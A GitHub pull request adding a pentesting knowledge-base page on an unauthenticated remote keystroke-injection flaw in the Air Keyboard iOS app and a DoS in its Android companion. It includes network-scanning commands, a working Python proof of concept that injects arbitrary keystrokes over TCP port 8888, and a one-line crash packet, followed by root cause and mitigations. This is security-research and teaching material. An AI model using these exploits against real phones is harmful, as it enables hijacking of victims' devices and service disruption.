Skip to content

Remote Input Injection Vulnerability in Air Keyboard iOS App... #1144

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -346,6 +346,7 @@
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)
Expand Down
6 changes: 6 additions & 0 deletions src/mobile-pentesting/android-app-pentesting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,12 @@ java -jar ../APKEditor.jar m -i splits/ -o merged.apk
java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```

## Case Studies & Vulnerabilities

{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}

## Static Analysis

First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\
Expand Down
6 changes: 6 additions & 0 deletions src/mobile-pentesting/ios-pentesting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -1148,6 +1148,12 @@ To identify the libraries an application uses, the **`otool`** command can be em
otool -L <application_path>
```

## Interesting Vulnerabilities & Case Studies

{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}

## **References & More Resources**

- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)

{{#include ../../banners/hacktricks-training.md}}

## TL;DR

The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victim’s phone, achieving **full remote interaction hijacking**.

A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).

## 1. Service Discovery

Scan the local network and look for the two fixed ports used by the apps:

```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24

# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```

On Android handsets you can identify the responsible package locally:

```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator

# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```

## 2. Frame Format (iOS)

The binary reveals the following parsing logic inside the `handleInputFrame()` routine:

```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```

The declared length includes the `device_id` byte **but not** the two-byte header itself.

## 3. Exploitation PoC

```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys

target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user

frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes

with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```

Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.

## 4. Android Companion – Denial-of-Service

The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.

```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```

## 5. Root Cause

1. **No origin / integrity checks** on incoming frames (iOS).
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).

## 6. Mitigations & Hardening Ideas

* Never expose unauthenticated services on a mobile handset.
* Derive per-device secrets during onboarding and verify them before processing input.
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.

## Detection Cheat-Sheet (Pentesters)

```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'

# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```

## References

- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)

{{#include ../../banners/hacktricks-training.md}}